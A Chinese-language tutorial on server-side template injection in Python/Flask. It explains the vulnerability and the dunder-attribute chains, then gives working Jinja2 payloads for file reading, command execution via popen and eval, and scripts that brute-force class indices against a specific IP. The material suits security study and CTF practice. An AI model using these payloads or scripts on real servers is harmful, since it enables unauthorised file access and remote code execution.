SSTI - 服务器端模板注入

一、什么是 SSTI

SSTI,全称是服务器端模板注入,是一种通过注入恶意模板代码攻击服务器的漏洞。在 Web 开发中,模板引擎是一种工具,用于将后端数据嵌入到 HTML 模板中,动态生成网页内容。它通过占位符将数据渲染到 HTML 页面中,实现逻辑与展示分离,提升开发效率和代码可维护性。然而,如果开发者未对用户输入进行充分的安全处理,攻击者可能利用 SSTI 注入恶意模板代码,导致服务器执行未授权操作,例如敏感信息泄露、任意文件读取或修改,甚至远程命令执行,最终可能完全控制服务器,严重威胁应用程序的安全性。

二、漏洞成因

模板注入漏洞常见的成因之一是不安全地使用格式化字符串。当开发者通过 %​、.format()​ 或 f-string​ 等方式,将用户输入直接嵌入到模板代码中(如拼接为模板内容),且未进行安全校验时,模板引擎会将其作为代码渲染,导致用户提供的恶意输入被解析执行。

三、继承关系

Python 作为一种面向对象的语言,父类和子类的继承关系是非常重要的概念。

1.基本概念

  • 类:是对一组具有相同特征和行为的对象的抽象定义。可以理解为一个模具。
  • 对象:是类的实例,代表具体的事物。

2.父类与子类

  • 父类:是被其他类继承的类,提供了一些基本的属性和方法。
  • 子类:是从父类继承而来的类,可以使用父类的属性和方法,同时也可以添加自己的新属性和方法。

3.逻辑关系

  • 继承:子类通过继承父类,获得了父类的所有属性和方法。
  • 扩展重写:子类不仅可以使用父类的方法,还可以重写这些方法以实现不同的行为。
  • 代码复用:通过继承,子类不需要重复编写父类中已经实现的代码,这样可以提高代码的复用性和可维护性。

四、魔术方法

__class__​ 返回对象所属的类

如果有一个对象 obj​,可以通过 obj.__class__​ 获取其类的信息。

1
print(obj.__class__)

__base__​ 返回当前类的直接父类

比如说,查看对象 obj​ 所属类的父类,可以使用 obj.__class__.__base__​ 来查看其父类。

1
print(obj.__class__.__base__)

__mro__​ 返回方法的调用顺序

可以用来获取一个类的调用顺序(即这个类的父类、父类的父类)

1
print(obj.__class__.__mro__)

__subclasses__​ 返回当前类的所有直接子类

用于获取某个类的所有子类(一层父子关系),并用元组输出

1
print(obj.__class__.__mro__[3].__subclasses__())

__init__​ 查看是否重载

可以用来查看模块是否重载(重载指程序在运行是就已经加载好了这个模块到内存中,如果出现 wrapper​ 字眼,则说明没有重载)

1
print(obj.__class__.__mro__[3].__subclasses__()[161].__init__)

__globals__ ​返回当前函数的全局变量

该方法会以字典的形式返回当前位置的所有全局变量,该属性是函数特有的属性,记录当前文件全局变量的值。

1
print(obj.__class__.__mro__[3].__subclasses__()[161].__init__.__globals__)

__builtins__​ 返回内建函数

返回一个模块,包含所有内置对象和函数,如 print()​、len()​ 等。

1
print(obj.__class__.__mro__[3].__subclasses__()[161].__init__.__globals__['__builtins__'])

五、漏洞利用

1.文件读取

Python2 文件读取 Payload

Python2 中可以使用 file​ 类来读取文件。

1
{{''.__class__.__base__.__subclasses__()[40]('flag').read()}}

Python3 文件读取 Payload

Python3 中没有 file​ 类,但是可以使用 _frozen_importlib_external.FileLoader​ 、 click.utils.LazyFile​、codecs.IncrementalEncoder​ 等类来读取文件。

1
{{''.__class__.__base__.__subclasses__()[391]('app.py').read()}}

获取利用类的索引值

GET 请求
1
2
3
4
5
6
import requests
for i in range(500):
url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url)
if 'FileLoader' in res.text:
print(i)
POST 请求
1
2
3
4
5
6
7
8
9
10
11
import requests
url='http://101.35.218.130:32935/submit'
for i in range(500):
data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
if response.status_code ==200:
if 'FileLoader' in response.text:
print("查找的子类的编号是:",i,"-->",data)
except:
pass

2.命令执行

Python 的 os​ 模块中有 system​和 popen​这两个函数可用来执行命令。其中 system()​ 函数执行命令没有回显,popen()​ 函数执行命令有回显。

Payload

1
{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls /').read()}}

获取利用模块的索引值

GET 请求
1
2
3
4
5
6
import requests
for i in range(500):
url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url)
if 'popen' in res.text:
print(i)
POST 请求
1
2
3
4
5
6
7
8
9
10
11
import requests
url='http://101.35.218.130:32938/submit'
for i in range(500):
data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
if response.status_code ==200:
if 'popen' in response.text:
print("查找的模块的编号是:",i,"-->",data)
except:
pass

3.代码执行

原理是寻找内建函数 eval​ 执行 Python 命令。

Payload

1
{{().__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

获取利用模块的索引值

GET 请求
1
2
3
4
5
6
import requests
for i in range(500):
url = "http://101.35.218.130:32935/?name={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url)
if 'eval' in res.text:
print(i)
POST 请求
1
2
3
4
5
6
7
8
9
10
11
import requests
url='http://101.35.218.130:32938/submit'
for i in range(500):
data ={"input":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response=requests.post(url,data=data)
if response.status_code ==200:
if 'eval' in response.text:
print("查找的内建模块的编号是:",i,"-->",data)
except:
pass

4.使用 Flask 内置函数

Flask 中本身内置了许多函数和方法,在这些方法中,就存在我们可以进行漏洞利用的模块,比如说 os​ 模块。

Flask 内置函数

1
{{self.__dict__._TemplateReference__context.keys()}}

其中像 get_flashed_messages​、lipsum​、url_for​ 等函数中,均存在可以进行利用的 os​ 模块

Payload

1
{{lipsum.__globals__['os']['popen']('ls /').read()}}